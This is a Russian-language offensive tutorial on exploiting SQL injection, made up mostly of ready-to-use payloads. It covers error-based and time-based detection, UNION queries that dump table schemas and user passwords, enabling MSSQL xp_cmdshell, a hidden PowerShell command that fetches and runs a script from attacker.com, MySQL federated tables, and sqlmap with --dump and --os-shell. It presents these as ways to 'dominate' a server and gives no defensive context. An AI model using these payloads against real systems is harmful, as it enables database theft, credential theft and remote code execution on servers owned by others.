1. Начало — как найти и понять SQLi?
SQLi — это дыра, через которую можно засунуть запросы прямо в базу. Первая задача — определить тип:
-
Error-based — база выплёвывает ошибки по запросу.
-
Blind (Boolean или Time-based) — реакции нет, только по времени или true/false.
-
Stacked queries — поддерживаются несколько запросов в одном вызове.
Чтобы проверить:
1 |
curl -i "http://target.com/item?id=1'" |
Если ошибка — classic error-based.
Для Blind включаем таймауты:
1 |
curl -i "http://target.com/item?id=1 AND IF(SUBSTRING(USER(),1,1)='a', SLEEP(5), 0)" |
Если страница тормозит — blind time-based confirmed.
2. Собираем разведку — профиль базы
Зная базу — мощь в руках:
-
MySQL:
SELECT version(), user(), database()
-
MSSQL:
SELECT @@version, SYSTEM_USER, DB_NAME()
-
PostgreSQL:
SELECT version(), current_user, current_database()
Пример (error-based):
1 |
?id=1 UNION SELECT 1, @@version-- |
Заберём версию, имя пользователя, текущую базу — это важно для выбора payload’ов и дальнейших приёмов.
3. Пошаговый оффенсив — как выжать по максимуму
A. Получить список таблиц и колонок
MySQL:
1 |
?id=1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()-- |
MSSQL:
1 |
?id=1; SELECT name FROM sys.tables-- |
Или через stacked queries залупиться и получить дамп по частям.
B. Самый жир — добыть пароль или конфигурацию
В MySQL можно получить пароли, если они хранятся в базе:
1 |
?id=1 UNION SELECT user, password FROM users-- |
В MSSQL — охота на конфигурационные данные и фичи xp_cmdshell (если включён):
1 |
?id=1; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- |
C. Грязный трюк — xp_cmdshell для шелла (MSSQL)
xp_cmdshell — золотой билет. Пример:
1 |
?id=1; EXEC xp_cmdshell 'powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"' |
Если xp_cmdshell включён — пиши farewell, мы уже доминируем.
4. Federated Tables — мост в другую БД (MySQL only)
Знаешь, что это за зверь? Federated tables позволяют запросить данные с другого MySQL-сервера, если сетевая конфигурация позволяет.
Как прокинуть эту штуку:
1 2 3 4 |
CREATE TABLE federated_table ( id INT, data TEXT ) ENGINE=FEDERATED CONNECTION='mysql://user:pass@target_ip:3306/db/table'; |
Потом просто читаем из неё. Если пароль для federated user известен или слабый — кайф.
5. Blind & Time-Based — когда голова трещит, а данных нет
Это медленно, но смертельно. Опускаем в Boolean-логические загадки:
1 |
?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0) |
Автоматизируем с помощью sqlmap
с настройкой на time-based:
1 |
sqlmap -u "http://target/item?id=1" --technique=T --risk=3 --level=5 --dump |
6. Краткий гайд по sqlmap — наш надежный пистолет
-
--dbs
— список баз -
--tables -D dbname
— таблицы -
--columns -D dbname -T tablename
— колонки -
--dump -D dbname -T tablename
— дамп данных -
--os-shell
— с адекватным payload и наличием xp_cmdshell даст шелл
Заключение
SQLi — это не просто «попадание в базу», это вход в подземелье сервера. Зная тонкости:
-
Тип БД и её особенности
-
Использование stacked queries и xp_cmdshell для MSSQL
-
Federated tables и кастомные функции MySQL
-
Blind time-based атакки
Ты становишься хозяином игры.